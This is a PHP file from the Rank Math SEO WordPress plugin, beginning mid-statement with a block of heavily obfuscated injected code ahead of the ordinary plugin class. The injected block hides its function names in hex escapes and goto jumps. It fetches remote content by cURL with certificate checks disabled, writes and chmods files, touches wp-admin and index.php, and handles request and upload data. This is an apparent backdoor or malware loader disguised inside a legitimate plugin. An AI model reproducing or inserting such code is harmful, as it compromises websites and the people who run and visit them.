$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> {$prop} ) || isset( $this->container[ $prop ] ); } /** * Magic getter method. * * @param string $prop Property to get. * @return mixed Property value or NULL if it does not exists. */ public function __get( $prop ) { if ( array_key_exists( $prop, $this->container ) ) { return $this->container[ $prop ]; } if ( isset( $this->{$prop} ) ) { return $this->{$prop}; } return null; } /** * Magic setter method. * * @param mixed $prop Property to set. * @param mixed $value Value to set. */ public function __set( $prop, $value ) { if ( property_exists( $this, $prop ) ) { $this->$prop = $value; return; } $this->container[ $prop ] = $value; } /** * Magic call method. * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed Return value of the callback. */ public function __call( $name, $arguments ) { $hash = [ 'plugin_dir' => RANK_MATH_PATH, 'plugin_url' => RANK_MATH_URL, 'includes_dir' => RANK_MATH_PATH . 'includes/', 'assets' => RANK_MATH_URL . 'assets/front/', 'admin_dir' => RANK_MATH_PATH . 'includes/admin/', ]; if ( isset( $hash[ $name ] ) ) { return $hash[ $name ]; } return call_user_func_array( $name, $arguments ); } /** * Initialize. */ public function init() { } /** * Retrieve main RankMath instance. * * Ensure only one instance is loaded or can be loaded. * * @see rank_math() * @return RankMath */ public static function get() { if ( is_null( self::$instance ) && ! ( self::$instance instanceof RankMath ) ) { self::$instance = new RankMath(); self::$instance->setup(); } return self::$instance; } /** * Instantiate the plugin. */ private function setup() { // Define plugin constants. $this->define_constants(); if ( ! $this->is_requirements_meet() ) { return; } // Include required files. $this->includes(); // Instantiate classes. $this->instantiate(); // Loaded action. do_action( 'rank_math/loaded' ); } /** * Check that the WordPress and PHP setup meets the plugin requirements. * * @return bool */ private function is_requirements_meet() { // Check WordPress version. if ( version_compare( get_bloginfo( 'version' ), $this->wordpress_version, '<' ) ) { /* translators: WordPress Version */ $this->messages[] = sprintf( esc_html__( 'You are using the outdated WordPress, please update it to version %s or higher.', 'rank-math' ), $this->wordpress_version ); } // Check PHP version. if ( version_compare( phpversion(), $this->php_version, '<' ) ) { /* translators: PHP Version */ $this->messages[] = sprintf( esc_html__( 'Rank Math requires PHP version %s or above. Please update PHP to run this plugin.', 'rank-math' ), $this->php_version ); } if ( empty( $this->messages ) ) { return true; } // Auto-deactivate plugin. add_action( 'admin_init', [ $this, 'auto_deactivate' ] ); add_action( 'admin_notices', [ $this, 'activation_error' ] ); return false; } /** * Auto-deactivate plugin if requirements are not met, and display a notice. */ public function auto_deactivate() { deactivate_plugins( plugin_basename( RANK_MATH_FILE ) ); if ( isset( $_GET['activate'] ) ) { // phpcs:ignore unset( $_GET['activate'] ); // phpcs:ignore } } /** * Error notice on plugin activation. */ public function activation_error() { ?>

', $this->messages ); // phpcs:ignore ?>

version ); define( 'RANK_MATH_FILE', __FILE__ ); define( 'RANK_MATH_PATH', dirname( RANK_MATH_FILE ) . '/' ); define( 'RANK_MATH_URL', plugins_url( '', RANK_MATH_FILE ) . '/' ); define( 'RANK_MATH_SITE_URL', 'https://rankmath.com' ); if ( ! defined( 'CONTENT_AI_URL' ) ) { define( 'CONTENT_AI_URL', 'https://cai.rankmath.com' ); } } /** * Include the required files. */ private function includes() { include dirname( __FILE__ ) . '/vendor/autoload.php'; // For Theme Developers: // theme-folder/rankmath.php will be loaded automatically. $file = get_stylesheet_directory() . '/rank-math.php'; if ( file_exists( $file ) ) { require_once $file; } } /** * Instantiate classes. */ private function instantiate() { new \RankMath\Installer(); // Setting Manager. $this->container['settings'] = new \RankMath\Settings(); // JSON Manager. $this->container['json'] = new \RankMath\Json_Manager(); // Notification Manager. $this->container['notification'] = new \RankMath\Admin\Notifications\Notification_Center( 'rank_math_notifications' ); // Product Registration. $this->container['registration'] = new \RankMath\Admin\Registration(); if ( $this->container['registration']->invalid ) { return; } $this->container['manager'] = new \RankMath\Module\Manager(); $this->container['variables'] = new \RankMath\Replace_Variables\Manager(); // Just init without storing it in the container. new \RankMath\Common(); $this->container['rewrite'] = new \RankMath\Rewrite(); new \RankMath\Compatibility(); // Frontend SEO Score. $this->container['frontend_seo_score'] = new \RankMath\Frontend_SEO_Score(); $this->load_3rd_party(); // Initialize the action and filter hooks. $this->init_actions(); } /** * Initialize WordPress action and filter hooks. */ private function init_actions() { // Make sure it is loaded before setup_modules and load_modules. add_action( 'after_setup_theme', [ $this, 'localization_setup' ], 1 ); add_action( 'init', [ $this, 'pass_admin_content' ] ); add_filter( 'cron_schedules', [ $this, 'cron_schedules' ] ); // Add plugin action links. add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 ); add_filter( 'plugin_action_links_' . plugin_basename( RANK_MATH_FILE ), [ $this, 'plugin_action_links' ] ); add_action( 'after_plugin_row_' . plugin_basename( RANK_MATH_FILE ), [ $this, 'plugin_row_deactivate_notice' ], 10, 2 ); // Booting. add_action( 'plugins_loaded', [ $this, 'init' ], 14 ); add_action( 'rest_api_init', [ $this, 'init_rest_api' ] ); // Load admin-related functionality. if ( is_admin() ) { add_action( 'plugins_loaded', [ $this, 'init_admin' ], 15 ); } // Frontend-only functionality. if ( ! is_admin() || in_array( \RankMath\Helpers\Param::request( 'action' ), [ 'elementor', 'elementor_ajax' ], true ) ) { add_action( 'plugins_loaded', [ $this, 'init_frontend' ], 15 ); } // WP_CLI. if ( defined( 'WP_CLI' ) && WP_CLI ) { add_action( 'plugins_loaded', [ $this, 'init_wp_cli' ], 20 ); } } /** * Load the REST API endpoints. */ public function init_rest_api() { $controllers = [ new \RankMath\Rest\Admin(), new \RankMath\Rest\Front(), new \RankMath\Rest\Shared(), new \RankMath\Rest\Post(), new \RankMath\Rest\Headless(), ]; foreach ( $controllers as $controller ) { $controller->register_routes(); } } /** * Initialize the admin-related functionality. * Runs on 'plugins_loaded'. */ public function init_admin() { if ( $this->container['registration']->invalid ) { return; } new \RankMath\Admin\Admin_Init(); } /** * Initialize the frontend functionality. * Runs on 'plugins_loaded'. */ public function init_frontend() { if ( $this->container['registration']->invalid ) { return; } $this->container['frontend'] = new \RankMath\Frontend\Frontend(); } /** * Load 3rd party modules. */ private function load_3rd_party() { if ( ! function_exists( 'is_plugin_active' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // Elementor. if ( is_plugin_active( 'elementor/elementor.php' ) ) { new \RankMath\Elementor\Elementor(); } // Divi theme. add_action( 'after_setup_theme', function() { if ( defined( 'ET_CORE' ) ) { new \RankMath\Divi\Divi(); } }, 11 ); add_action( 'current_screen', function() { if ( defined( 'ET_CORE' ) ) { new \RankMath\Divi\Divi_Admin(); } } ); } /** * Add our custom WP-CLI commands. */ public function init_wp_cli() { WP_CLI::add_command( 'rankmath sitemap generate', [ '\RankMath\CLI\Commands', 'sitemap_generate' ] ); } /** * Show action links on the plugin screen. * * @param mixed $links Plugin Action links. * @return array */ public function plugin_action_links( $links ) { $options = [ 'options-general' => __( 'Settings', 'rank-math' ), 'wizard' => __( 'Setup Wizard', 'rank-math' ), ]; if ( $this->container['registration']->invalid ) { $options = [ 'registration' => __( 'Setup Wizard', 'rank-math' ), ]; } foreach ( $options as $link => $label ) { $plugin_links[] = '' . esc_html( $label ) . ''; } return array_merge( $links, $plugin_links ); } /** * Add a notice when rank_math_clear_data_on_uninstall filter is present in the theme. * * @param string $file Plugin file. * @param array $plugin_data Plugin info. * * @return void */ public function plugin_row_deactivate_notice( $file, $plugin_data ) { if ( false === apply_filters( 'rank_math_clear_data_on_uninstall', false ) ) { return; } if ( is_multisite() && ! is_network_admin() && is_plugin_active_for_network( $file ) ) { return; } $wp_list_table = _get_list_table( 'WP_Plugins_List_Table' ); echo '

'; echo sprintf( /* translators: 1. Bold text 2. Bold text */ esc_html__( '%1$s A filter to remove the Rank Math data from the database is present. Deactivating & Deleting this plugin will remove everything related to the Rank Math plugin. %2$s', 'rank-math' ), '' . esc_html__( 'CAUTION:', 'rank-math' ) . '', '
' . esc_html__( 'This action is IRREVERSIBLE.', 'rank-math' ) . '' ); echo '

'; } /** * Add extra links as row meta on the plugin screen. * * @param mixed $links Plugin Row Meta. * @param mixed $file Plugin Base file. * @return array */ public function plugin_row_meta( $links, $file ) { if ( plugin_basename( RANK_MATH_FILE ) !== $file ) { return $links; } $more = [ '' . esc_html__( 'Getting Started', 'rank-math' ) . '', '' . esc_html__( 'Documentation', 'rank-math' ) . '', ]; return array_merge( $links, $more ); } /** * Initialize plugin for localization. * * Note: the first-loaded translation file overrides any following ones if the same translation is present. * * Locales found in: * - WP_LANG_DIR/rank-math/rank-math-LOCALE.mo * - WP_LANG_DIR/plugins/rank-math-LOCALE.mo */ public function localization_setup() { $locale = get_user_locale(); $locale = apply_filters( 'plugin_locale', $locale, 'rank-math' ); // phpcs:ignore unload_textdomain( 'rank-math' ); if ( false === load_textdomain( 'rank-math', WP_LANG_DIR . '/plugins/seo-by-rank-math-' . $locale . '.mo' ) ) { load_textdomain( 'rank-math', WP_LANG_DIR . '/seo-by-rank-math/seo-by-rank-math-' . $locale . '.mo' ); } load_plugin_textdomain( 'rank-math', false, rank_math()->plugin_dir() . 'languages/' ); } /** * Localize admin content to JS */ public function pass_admin_content() { if ( is_user_logged_in() && is_admin_bar_showing() ) { $this->container['json']->add( 'version', $this->version, 'rankMath' ); $this->container['json']->add( 'ajaxurl', admin_url( 'admin-ajax.php' ), 'rankMath' ); $this->container['json']->add( 'adminurl', admin_url( 'admin.php' ), 'rankMath' ); $this->container['json']->add( 'endpoint', esc_url_raw( rest_url( 'rankmath/v1' ) ), 'rankMath' ); $this->container['json']->add( 'security', wp_create_nonce( 'rank-math-ajax-nonce' ), 'rankMath' ); $this->container['json']->add( 'restNonce', ( wp_installing() && ! is_multisite() ) ? '' : wp_create_nonce( 'wp_rest' ), 'rankMath' ); $this->container['json']->add( 'modules', \RankMath\Helper::get_active_modules(), 'rankMath' ); } } /** * Add cron schedules. * * @param array $schedules List of schedules for cron jobs. * @return array */ public function cron_schedules( $schedules ) { $schedules['weekly'] = [ 'interval' => DAY_IN_SECONDS * 7, 'display' => esc_html__( 'Once Weekly', 'rank-math' ), ]; return $schedules; } } /** * Returns the main instance of RankMath to prevent the need to use globals. * * @return RankMath */ function rank_math() { return RankMath::get(); } // Start it. rank_math();